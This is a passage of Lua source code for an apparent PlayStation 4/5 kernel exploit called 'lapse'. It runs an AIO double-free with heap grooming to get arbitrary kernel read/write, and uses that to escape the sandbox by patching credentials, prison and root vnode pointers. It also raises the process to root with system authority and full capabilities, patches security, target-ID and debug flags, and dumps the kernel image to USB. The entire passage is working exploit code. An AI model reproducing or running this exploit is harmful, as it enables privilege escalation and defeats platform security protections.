PRISON0 = 0x0111FA18, 1652 | ROOTVNODE = 0x02136E90, 1653 | target_id_offset = 0x021CC60D 1654 | } 1655 | } 1656 | 1657 | local evf_ptr = kernel.addr.inside_kdata 1658 | local evf_string = kernel.read_null_terminated_string(evf_ptr) 1659 | printf("evf string @ %s = %s", hex(evf_ptr), evf_string) 1660 | 1661 | -- Get current firmware version 1662 | local fw = tonumber(FW_VERSION:match("%d+%.%d+")) 1663 | if not offsets[fw] then 1664 | printf("Unsupported firmware: %s", FW_VERSION) 1665 | return 1666 | end 1667 | 1668 | local evf_ptr = kernel.addr.inside_kdata 1669 | local evf_string = kernel.read_null_terminated_string(evf_ptr) 1670 | printf("evf string @ %s = %s", hex(evf_ptr), evf_string) 1671 | 1672 | -- Calculate KBASE from EVF using table offsets 1673 | local function calculate_kbase(leaked_evf_ptr) 1674 | local evf_offset = offsets[fw].evf_offset 1675 | return leaked_evf_ptr - evf_offset 1676 | end 1677 | 1678 | -- ELF validation 1679 | local function verify_elf_header(kbase) 1680 | local b0 = kernel.read_byte(kbase):tonumber() 1681 | local b1 = kernel.read_byte(kbase + 1):tonumber() 1682 | local b2 = kernel.read_byte(kbase + 2):tonumber() 1683 | local b3 = kernel.read_byte(kbase + 3):tonumber() 1684 | 1685 | printf("ELF header bytes at %s:", hex(kbase)) 1686 | printf(" [0] = 0x%02X", b0) 1687 | printf(" [1] = 0x%02X", b1) 1688 | printf(" [2] = 0x%02X", b2) 1689 | printf(" [3] = 0x%02X", b3) 1690 | 1691 | if b0 == 0x7F and b1 == 0x45 and b2 == 0x4C and b3 == 0x46 then 1692 | print("ELF header verified KBASE is valid") 1693 | else 1694 | print("ELF header mismatch check base address") 1695 | end 1696 | end 1697 | 1698 | -- Brute scan for ELF with Target ID validation 1699 | local function find_kbase(leaked_ptr, max_scan) 1700 | local ELF0, ELF1, ELF2, ELF3 = 0x7F, 0x45, 0x4C, 0x46 1701 | local static_offset = offsets[fw].evf_offset 1702 | local static_kbase = leaked_ptr - static_offset 1703 | local target_id_offset = offsets[fw].target_id_offset 1704 | 1705 | printf("Static KBASE guess based on EVF offset (0x%X): %s", static_offset, hex(static_kbase)) 1706 | 1707 | local page_size = 0x1000 1708 | local PAGE_MASK = uint64("0xFFFFFFFFFFFFF000") 1709 | local aligned_leaked = bit64.band(leaked_ptr, PAGE_MASK) 1710 | printf(" aligned addr = %s", hex(aligned_leaked)) 1711 | 1712 | for offset = 0, max_scan, page_size do 1713 | printf(" Scanning offset: 0x%X", offset) 1714 | 1715 | local addr = aligned_leaked - offset 1716 | printf("trying addr = %s", hex(addr)) 1717 | local b0 = kernel.read_byte(addr):tonumber() 1718 | local b1 = kernel.read_byte(addr + 1):tonumber() 1719 | local b2 = kernel.read_byte(addr + 2):tonumber() 1720 | local b3 = kernel.read_byte(addr + 3):tonumber() 1721 | 1722 | if b0 == ELF0 and b1 == ELF1 and b2 == ELF2 and b3 == ELF3 then 1723 | printf(" Found ELF header at: %s", hex(addr)) 1724 | 1725 | local tid_addr = addr + target_id_offset 1726 | local tid = kernel.read_byte(tid_addr):tonumber() 1727 | 1728 | if tid >= 0x80 and tid <= 0x8F then 1729 | printf(" Valid Target ID: 0x%02X at %s — confirmed KBASE", tid, hex(tid_addr)) 1730 | local evf_offset = leaked_ptr - addr 1731 | printf(" Hint: static EVF offset for this firmware = %s", hex(evf_offset)) 1732 | printf(" You can reuse this offset %s next time instead of scanning.", hex(evf_offset)) 1733 | return addr 1734 | else 1735 | printf(" Target ID check failed (0x%02X) at %s — continuing", tid, hex(tid_addr)) 1736 | end 1737 | end 1738 | end 1739 | 1740 | print(" ELF header not found — fallback to static guess") 1741 | return static_kbase 1742 | end 1743 | 1744 | -- Sandbox escape 1745 | local function escape_sandbox(kbase, curproc) 1746 | local PRISON0 = kbase + offsets[fw].PRISON0 1747 | local ROOTVNODE = kbase + offsets[fw].ROOTVNODE 1748 | 1749 | local offset_p_fd = 0x48 1750 | local offset_p_ucred = 0x40 1751 | local offset_fd_rdir = 0x10 1752 | local offset_fd_jdir = 0x18 1753 | 1754 | local p_fd = kernel.read_qword(curproc + offset_p_fd) 1755 | local p_ucred = kernel.read_qword(curproc + offset_p_ucred) 1756 | 1757 | kernel.write_dword(p_ucred + 0x4, 0) 1758 | kernel.write_dword(p_ucred + 0x8, 0) 1759 | kernel.write_dword(p_ucred + 0xC, 0) 1760 | kernel.write_dword(p_ucred + 0x10, 0) 1761 | 1762 | local prison0 = kernel.read_qword(PRISON0) 1763 | kernel.write_qword(p_ucred + 0x30, prison0) 1764 | 1765 | local rootvnode = kernel.read_qword(ROOTVNODE) 1766 | kernel.write_qword(p_fd + offset_fd_rdir, rootvnode) 1767 | kernel.write_qword(p_fd + offset_fd_jdir, rootvnode) 1768 | 1769 | print("Sandbox escape complete ... root FS access and jail broken") 1770 | end 1771 | 1772 | 1773 | 1774 | function dump_kernel_elf(kbase) 1775 | -- Constants 1776 | local CHUNK_SIZE = 0x4000 -- 16KB chunks 1777 | local PROGRESS_INTERVAL = 0x500000 -- Progress update every 5MB 1778 | local NOTIFICATION_INTERVAL = 10 -- Notification every 10 seconds 1779 | local OUTPUT_PATH = "/mnt/usb0/kernel.elf" 1780 | local FILE_PERMISSIONS = tonumber("0777", 8) 1781 | local BYTES_PER_MB = 1048576 1782 | local BYTES_PER_KB = 1024 1783 | 1784 | -- File flags 1785 | local O_WRONLY = 0x0001 1786 | local O_CREAT = 0x0200 1787 | local O_TRUNC = 0x0400 1788 | 1789 | local fd = nil -- Track file descriptor for cleanup 1790 | 1791 | -- Send start notification 1792 | send_ps_notification("Starting kernel dump...") 1793 | 1794 | -- Input validation 1795 | if not kbase or kbase == 0 then 1796 | local error_msg = "Invalid kernel base address" 1797 | print(error_msg) 1798 | send_ps_notification(error_msg) 1799 | return false 1800 | end 1801 | 1802 | -- Resolve necessary syscalls 1803 | local ok, err = pcall(function() 1804 | syscall.resolve({ 1805 | open = 5, 1806 | write = 4, 1807 | close = 6, 1808 | fsync = 95 1809 | }) 1810 | end) 1811 | 1812 | if not ok then 1813 | local error_msg = "Failed to resolve syscalls: " .. tostring(err) 1814 | print(error_msg) 1815 | send_ps_notification(error_msg) 1816 | return false 1817 | end 1818 | 1819 | -- Get kernel size 1820 | local kernel_size = get_kernel_elf_size(kbase) 1821 | if not kernel_size or kernel_size <= 0 then 1822 | local error_msg = "Invalid kernel size" 1823 | print(error_msg) 1824 | send_ps_notification(error_msg) 1825 | return false 1826 | end 1827 | 1828 | -- Open output file 1829 | print("Opening " .. OUTPUT_PATH) 1830 | local fd_result = syscall.open(OUTPUT_PATH, bit32.bor(O_WRONLY, O_CREAT, O_TRUNC), FILE_PERMISSIONS) 1831 | 1832 | if not fd_result then 1833 | local error_msg = "Failed to call open syscall" 1834 | print(error_msg) 1835 | send_ps_notification(error_msg) 1836 | return false 1837 | end 1838 | 1839 | fd = fd_result:tonumber() 1840 | if fd < 0 then 1841 | local error_msg = "Failed to open USB! Check if USB is inserted" 1842 | print(error_msg) 1843 | send_ps_notification(error_msg) 1844 | return false 1845 | end 1846 | 1847 | -- Calculate size in MB and start dumping 1848 | local size_mb = math.floor(kernel_size / BYTES_PER_MB) 1849 | send_ps_notification(string.format("Dumping %d MB kernel...", size_mb)) 1850 | 1851 | print("Dumping kernel to " .. OUTPUT_PATH) 1852 | printf("Total size to dump: 0x%X bytes (%d MB)", kernel_size, size_mb) 1853 | 1854 | -- Dump in chunks 1855 | local offset = 0 1856 | local start_time = os.clock() 1857 | local last_notification_time = start_time 1858 | local dump_success = false 1859 | 1860 | while offset < kernel_size do 1861 | -- Calculate how much to read 1862 | local to_read = math.min(CHUNK_SIZE, kernel_size - offset) 1863 | 1864 | -- Read from kernel memory 1865 | local read_ok, data = pcall(function() 1866 | local read_addr = kbase + offset 1867 | return kernel.read_buffer(read_addr, to_read) 1868 | end) 1869 | 1870 | if not read_ok or not data then 1871 | local error_msg = string.format("Kernel read failed at offset 0x%X: %s", offset, tostring(data)) 1872 | print(error_msg) 1873 | send_ps_notification("Kernel read failed!") 1874 | break 1875 | end 1876 | 1877 | -- Write the data to file 1878 | local write_result = syscall.write(fd, data, #data) 1879 | if not write_result then 1880 | local error_msg = "Write syscall failed" 1881 | print(error_msg) 1882 | send_ps_notification(error_msg) 1883 | break 1884 | end 1885 | 1886 | local written = write_result:tonumber() 1887 | 1888 | if written < 0 then 1889 | local error_msg = "Write failed: " .. get_error_string() 1890 | print(error_msg) 1891 | send_ps_notification(error_msg) 1892 | break 1893 | end 1894 | 1895 | if written == 0 then 1896 | local error_msg = "USB full! Free up space" 1897 | print(error_msg) 1898 | send_ps_notification(error_msg) 1899 | break 1900 | end 1901 | 1902 | offset = offset + written 1903 | 1904 | -- Progress update 1905 | if offset % PROGRESS_INTERVAL == 0 or offset == kernel_size then 1906 | local progress_pct = math.floor((offset * 100) / kernel_size) 1907 | local elapsed = os.clock() - start_time 1908 | local speed_kbps = math.floor(offset / BYTES_PER_KB / elapsed) 1909 | 1910 | printf("Progress: 0x%X / 0x%X (%d%%) - Speed: %d KB/s", 1911 | offset, kernel_size, progress_pct, speed_kbps) 1912 | 1913 | -- Send notification every NOTIFICATION_INTERVAL seconds 1914 | local current_time = os.clock() 1915 | if current_time - last_notification_time > NOTIFICATION_INTERVAL then 1916 | send_ps_notification(string.format("Dumping... %d%%", progress_pct)) 1917 | last_notification_time = current_time 1918 | end 1919 | end 1920 | end 1921 | 1922 | -- Check if we completed successfully 1923 | dump_success = (offset == kernel_size) 1924 | 1925 | if dump_success then 1926 | -- Sync to ensure all data is written 1927 | print("Syncing data to disk...") 1928 | local sync_result = syscall.fsync(fd) 1929 | local sync_ok = sync_result and sync_result:tonumber() >= 0 1930 | 1931 | if not sync_ok then 1932 | print("Warning: fsync failed - data might not be fully written") 1933 | send_ps_notification("Warning: sync failed!") 1934 | end 1935 | 1936 | -- Final stats 1937 | local total_time = os.clock() - start_time 1938 | local avg_speed_kbps = math.floor(offset / BYTES_PER_KB / total_time) 1939 | 1940 | printf("Dump completed in %d seconds", math.floor(total_time)) 1941 | printf("Successfully dumped 0x%X bytes (%d MB)", offset, math.floor(offset / BYTES_PER_MB)) 1942 | printf("Average speed: %d KB/s", avg_speed_kbps) 1943 | 1944 | -- Send completion notification with formatted time 1945 | local completion_msg 1946 | if total_time < 60 then 1947 | completion_msg = string.format("Kernel dumped! Time: %d seconds", math.floor(total_time)) 1948 | else 1949 | local minutes = math.floor(total_time / 60) 1950 | local seconds = math.floor(total_time - (minutes * 60)) 1951 | completion_msg = string.format("Kernel dumped! Time: %d:%02d", minutes, seconds) 1952 | end 1953 | 1954 | send_ps_notification(completion_msg) 1955 | end 1956 | 1957 | -- Always close file descriptor if it was opened 1958 | if fd and fd >= 0 then 1959 | syscall.close(fd) 1960 | end 1961 | 1962 | return dump_success 1963 | end 1964 | 1965 | 1966 | 1967 | 1968 | function get_kernel_elf_size(kbase) 1969 | -- ELF header offsets 1970 | local E_PHNUM_OFFSET = 0x38 -- Number of program headers 1971 | local E_PHOFF_OFFSET = 0x40 -- Program header offset (should be 0x40) 1972 | 1973 | -- Program header entry size 1974 | local PHDR_SIZE = 0x38 1975 | 1976 | -- Program types 1977 | local PT_LOAD = 1 1978 | local PT_SCE_RELRO = 0x61000000 1979 | 1980 | -- Read number of program headers 1981 | local e_phnum = kernel.read_word(kbase + E_PHNUM_OFFSET):tonumber() 1982 | printf("Number of program headers: %d", e_phnum) 1983 | 1984 | local end_addr = kbase:tonumber() -- Convert kbase to number for comparison 1985 | 1986 | -- Parse each program header 1987 | for i = 0, e_phnum - 1 do 1988 | local phdr_offset = E_PHOFF_OFFSET + (i * PHDR_SIZE) 1989 | 1990 | -- Read p_type (4 bytes at offset 0x00) 1991 | local p_type = kernel.read_dword(kbase + phdr_offset):tonumber() 1992 | 1993 | -- Only process PT_LOAD and PT_SCE_RELRO segments 1994 | if p_type == PT_LOAD or p_type == PT_SCE_RELRO then 1995 | -- Read segment details and convert to numbers 1996 | local p_vaddr = kernel.read_qword(kbase + phdr_offset + 0x10):tonumber() 1997 | local p_memsz = kernel.read_qword(kbase + phdr_offset + 0x28):tonumber() 1998 | local p_align = kernel.read_qword(kbase + phdr_offset + 0x30):tonumber() 1999 | 2000 | -- Calculate aligned end address 2001 | local segment_end = p_vaddr + p_memsz 2002 | 2003 | -- Apply alignment (next_multiple_of) 2004 | if p_align > 0 then 2005 | local remainder = segment_end % p_align 2006 | if remainder ~= 0 then 2007 | segment_end = segment_end + (p_align - remainder) 2008 | end 2009 | end 2010 | 2011 | -- Update max end address 2012 | if segment_end > end_addr then 2013 | end_addr = segment_end 2014 | printf("Segment %d: type=0x%X, vaddr=0x%X, size=0x%X, end=0x%X", 2015 | i, p_type, p_vaddr, p_memsz, segment_end) 2016 | end 2017 | end 2018 | end 2019 | 2020 | -- Calculate total size 2021 | local total_size = end_addr - kbase:tonumber() 2022 | printf("Kernel size: 0x%X", total_size) 2023 | return total_size 2024 | end 2025 | 2026 | 2027 | 2028 | -- Run post-exploit logic 2029 | local proc = kernel.addr.curproc 2030 | local kbase = calculate_kbase(evf_ptr) 2031 | --find_kbase(evf_ptr, 0x1E00000) 2032 | printf("KERNEL BASE CANDIDATE: %s", hex(kbase)) 2033 | verify_elf_header(kbase) 2034 | escape_sandbox(kbase, proc) 2035 | dump_kernel_elf(kbase) 2036 | 2037 | end 2038 | 2039 | 2040 | function post_exploitation_ps5() 2041 | 2042 | -- if we havent found allproc, assume we havent found every kernel offsets yet for this fw 2043 | if not kernel_offset.DATA_BASE_ALLPROC then 2044 | printf("fw not yet supported for jailbreaking") 2045 | return 2046 | end 2047 | 2048 | local OFFSET_UCRED_CR_SCEAUTHID = 0x58 2049 | local OFFSET_UCRED_CR_SCECAPS = 0x60 2050 | local OFFSET_UCRED_CR_SCEATTRS = 0x83 2051 | local OFFSET_P_UCRED = 0x40 2052 | 2053 | local KDATA_MASK = uint64("0xffff804000000000") 2054 | 2055 | local SYSTEM_AUTHID = uint64("0x4800000000010003") 2056 | 2057 | local function find_allproc() 2058 | 2059 | local proc = kernel.addr.curproc 2060 | local max_attempt = 32 2061 | 2062 | for i=1,max_attempt do 2063 | if bit64.band(proc, KDATA_MASK) == KDATA_MASK then 2064 | local data_base = proc - kernel_offset.DATA_BASE_ALLPROC 2065 | if bit32.band(data_base.l, 0xfff) == 0 then 2066 | return proc 2067 | end 2068 | end 2069 | proc = kernel.read_qword(proc + 0x8) -- proc->p_list->le_prev 2070 | end 2071 | 2072 | error("failed to find allproc") 2073 | end 2074 | 2075 | local function get_dmap_base() 2076 | 2077 | assert(kernel.addr.data_base) 2078 | 2079 | local OFFSET_PM_PML4 = 0x20 2080 | local OFFSET_PM_CR3 = 0x28 2081 | 2082 | local kernel_pmap_store = kernel.addr.data_base + kernel_offset.DATA_BASE_KERNEL_PMAP_STORE 2083 | 2084 | local pml4 = kernel.read_qword(kernel_pmap_store + OFFSET_PM_PML4) 2085 | local cr3 = kernel.read_qword(kernel_pmap_store + OFFSET_PM_CR3) 2086 | local dmap_base = pml4 - cr3 2087 | 2088 | return dmap_base, cr3 2089 | end 2090 | 2091 | local function get_additional_kernel_address() 2092 | 2093 | kernel.addr.allproc = find_allproc() 2094 | kernel.addr.data_base = kernel.addr.allproc - kernel_offset.DATA_BASE_ALLPROC 2095 | kernel.addr.base = kernel.addr.data_base - kernel_offset.DATA_BASE 2096 | 2097 | local dmap_base, kernel_cr3 = get_dmap_base() 2098 | kernel.addr.dmap_base = dmap_base 2099 | kernel.addr.kernel_cr3 = kernel_cr3 2100 | end 2101 | 2102 | local function escape_filesystem_sandbox(proc) 2103 | 2104 | local proc_fd = kernel.read_qword(proc + kernel_offset.PROC_FD) -- p_fd 2105 | local rootvnode = kernel.read_qword(kernel.addr.data_base + kernel_offset.DATA_BASE_ROOTVNODE) 2106 | 2107 | kernel.write_qword(proc_fd + 0x10, rootvnode) -- fd_rdir 2108 | kernel.write_qword(proc_fd + 0x18, rootvnode) -- fd_jdir 2109 | end 2110 | 2111 | local function patch_dynlib_restriction(proc) 2112 | 2113 | local dynlib_obj_addr = kernel.read_qword(proc + 0x3e8) 2114 | 2115 | kernel.write_dword(dynlib_obj_addr + 0x118, 0) -- prot (todo: recheck) 2116 | kernel.write_qword(dynlib_obj_addr + 0x18, 1) -- libkernel ref 2117 | 2118 | -- bypass libkernel address range check (credit @cheburek3000) 2119 | kernel.write_qword(dynlib_obj_addr + 0xf0, 0) -- libkernel start addr 2120 | kernel.write_qword(dynlib_obj_addr + 0xf8, -1) -- libkernel end addr 2121 | 2122 | end 2123 | 2124 | local function patch_ucred(ucred, authid) 2125 | 2126 | kernel.write_dword(ucred + 0x04, 0) -- cr_uid 2127 | kernel.write_dword(ucred + 0x08, 0) -- cr_ruid 2128 | kernel.write_dword(ucred + 0x0C, 0) -- cr_svuid 2129 | kernel.write_dword(ucred + 0x10, 1) -- cr_ngroups 2130 | kernel.write_dword(ucred + 0x14, 0) -- cr_rgid 2131 | 2132 | -- escalate sony privs 2133 | kernel.write_qword(ucred + OFFSET_UCRED_CR_SCEAUTHID, authid) -- cr_sceAuthID 2134 | 2135 | -- enable all app capabilities 2136 | kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS, -1) -- cr_sceCaps[0] 2137 | kernel.write_qword(ucred + OFFSET_UCRED_CR_SCECAPS + 8, -1) -- cr_sceCaps[1] 2138 | 2139 | -- set app attributes 2140 | kernel.write_byte(ucred + OFFSET_UCRED_CR_SCEATTRS, 0x80) -- SceAttrs 2141 | end 2142 | 2143 | local function escalate_curproc() 2144 | 2145 | local proc = kernel.addr.curproc 2146 | 2147 | local ucred = kernel.read_qword(proc + OFFSET_P_UCRED) -- p_ucred 2148 | local authid = SYSTEM_AUTHID 2149 | 2150 | local uid_before = syscall.getuid():tonumber() 2151 | local in_sandbox_before = syscall.is_in_sandbox():tonumber() 2152 | 2153 | printf("patching curproc %s (authid = %s)", hex(proc), hex(authid)) 2154 | 2155 | patch_ucred(ucred, authid) 2156 | patch_dynlib_restriction(proc) 2157 | escape_filesystem_sandbox(proc) 2158 | 2159 | local uid_after = syscall.getuid():tonumber() 2160 | local in_sandbox_after = syscall.is_in_sandbox():tonumber() 2161 | 2162 | printf("we root now? uid: before %d after %d", uid_before, uid_after) 2163 | printf("we escaped now? in sandbox: before %d after %d", in_sandbox_before, in_sandbox_after) 2164 | end 2165 | 2166 | local function apply_patches_to_kernel_data(accessor) 2167 | 2168 | local security_flags_addr = kernel.addr.data_base + kernel_offset.DATA_BASE_SECURITY_FLAGS 2169 | local target_id_flags_addr = kernel.addr.data_base + kernel_offset.DATA_BASE_TARGET_ID 2170 | local qa_flags_addr = kernel.addr.data_base + kernel_offset.DATA_BASE_QA_FLAGS 2171 | local utoken_flags_addr = kernel.addr.data_base + kernel_offset.DATA_BASE_UTOKEN_FLAGS 2172 | 2173 | -- Set security flags 2174 | print("setting security flags") 2175 | local security_flags = accessor.read_dword(security_flags_addr) 2176 | accessor.write_dword(security_flags_addr, bit64.bor(security_flags, 0x14)) 2177 | 2178 | -- Set targetid to DEX 2179 | print("setting targetid") 2180 | accessor.write_byte(target_id_flags_addr, 0x82) 2181 | 2182 | -- Set qa flags and utoken flags for debug menu enable 2183 | print("setting qa flags and utoken flags") 2184 | local qa_flags = accessor.read_dword(qa_flags_addr) 2185 | accessor.write_dword(qa_flags_addr, bit64.bor(qa_flags, 0x10300)) 2186 | 2187 | local utoken_flags = accessor.read_byte(utoken_flags_addr) 2188 | accessor.write_byte(utoken_flags_addr, bit64.bor(utoken_flags, 0x1)) 2189 | 2190 | print("debug menu enabled") 2191 | end 2192 | 2193 | get_additional_kernel_address() 2194 | 2195 | -- patch current process creds 2196 | escalate_curproc() 2197 | 2198 | update_kernel_offsets() 2199 | 2200 | -- init GPU DMA for kernel r/w on protected area 2201 | gpu.setup() 2202 | 2203 | local force_kdata_patch_with_gpu = false 2204 | 2205 | if tonumber(FW_VERSION) >= 7 or force_kdata_patch_with_gpu then 2206 | print("applying patches to kernel data (with GPU DMA method)") 2207 | apply_patches_to_kernel_data(gpu) 2208 | else 2209 | print("applying patches to kernel data") 2210 | apply_patches_to_kernel_data(kernel) 2211 | end 2212 | end 2213 | 2214 | 2215 | 2216 | function print_info() 2217 | print("lapse exploit\n") 2218 | printf("running on %s %s", PLATFORM, FW_VERSION) 2219 | printf("game @ %s\n", game_name) 2220 | end 2221 | 2222 | 2223 | function kexploit() 2224 | 2225 | print_info() 2226 | 2227 | local prev_core = get_current_core() 2228 | local prev_rtprio = get_rtprio() 2229 | 2230 | -- pin to 1 core so that we only use 1 per-cpu bucket. 2231 | -- this will make heap spraying and grooming easier 2232 | pin_to_core(MAIN_CORE) 2233 | set_rtprio(MAIN_RTPRIO) 2234 | 2235 | printf("pinning to core %d with prio %d", get_current_core(), get_rtprio()) 2236 | 2237 | local sockpair = memory.alloc(8) 2238 | local sds = {} 2239 | local sds_alt = {} 2240 | 2241 | if syscall.socketpair(AF_UNIX, SOCK_STREAM, 0, sockpair):tonumber() == -1 then 2242 | error("socketpair() error: " .. get_error_string()) 2243 | end 2244 | 2245 | local block_fd = memory.read_dword(sockpair):tonumber() 2246 | local unblock_fd = memory.read_dword(sockpair + 4):tonumber() 2247 | 2248 | printf("block_fd %d unblocked_fd %d", block_fd, unblock_fd) 2249 | 2250 | -- NOTE: on game process, only < 130? sockets can be created, otherwise we'll hit limit error 2251 | for i=1, NUM_SDS do 2252 | table.insert(sds, new_socket()) 2253 | end 2254 | 2255 | for i=1, NUM_SDS_ALT do 2256 | table.insert(sds_alt, new_socket()) 2257 | end 2258 | 2259 | local block_id, groom_ids = nil, nil 2260 | 2261 | -- catch lua error so we can do clean up 2262 | local err = run_with_coroutine(function() 2263 | 2264 | -- print("\n[+] Setup\n") 2265 | block_id, groom_ids = setup(block_fd) 2266 | 2267 | print("\n[+] Double-free AIO\n") 2268 | local sd_pair = double_free_reqs2(sds) 2269 | 2270 | print("\n[+] Leak kernel addresses\n") 2271 | local reqs1_addr, kbuf_addr, kernel_addr, target_id, evf, fake_reqs3_addr, 2272 | fake_reqs3_sd, aio_info_addr 2273 | = leak_kernel_addrs(sd_pair, sds) 2274 | 2275 | print("\n[+] Double free SceKernelAioRWRequest\n") 2276 | local pktopts_sds 2277 | = double_free_reqs1(reqs1_addr, target_id, evf, sd_pair[1], sds, sds_alt, fake_reqs3_addr) 2278 | 2279 | syscall.close(fake_reqs3_sd) 2280 | 2281 | print('\n[+] Get arbitrary kernel read/write\n') 2282 | make_kernel_arw(pktopts_sds, reqs1_addr, kernel_addr, sds, sds_alt, aio_info_addr) 2283 | 2284 | print('\n[+] Post exploitation\n') 2285 | 2286 | if PLATFORM == "ps4" then 2287 | post_exploitation_ps4() 2288 | elseif PLATFORM == "ps5" then 2289 | post_exploitation_ps5() 2290 | end 2291 | 2292 | -- persist exploitation state 2293 | storage.set("kernel_rw", { 2294 | ipv6_kernel_rw_data = ipv6_kernel_rw.data, 2295 | kernel_addr = kernel.addr 2296 | }) 2297 | 2298 | print("exploit state is saved into storage") 2299 | print("done!") 2300 | end) 2301 | 2302 | if err then 2303 | print(err) 2304 | end 2305 | 2306 | print('\ncleaning up') 2307 | 2308 | -- clean up 2309 | 2310 | syscall.close(block_fd) 2311 | syscall.close(unblock_fd) 2312 | 2313 | if groom_ids then 2314 | free_aios2(groom_ids, NUM_GROOMS) 2315 | end 2316 | 2317 | if block_id then 2318 | aio_multi_wait(block_id, 1) 2319 | aio_multi_delete(block_id, 1) 2320 | end 2321 | 2322 | for i=1, #sds do 2323 | syscall.close(sds[i]) 2324 | end 2325 | 2326 | for i=1, #sds_alt do 2327 | syscall.close(sds_alt[i]) 2328 | end 2329 | 2330 | print("restoring to previous core/rtprio") 2331 | 2332 | pin_to_core(prev_core) 2333 | set_rtprio(prev_rtprio) 2334 | end 2335 | 2336 | 2337 | kexploit() 2338 | --------------------------------------------------------------------------------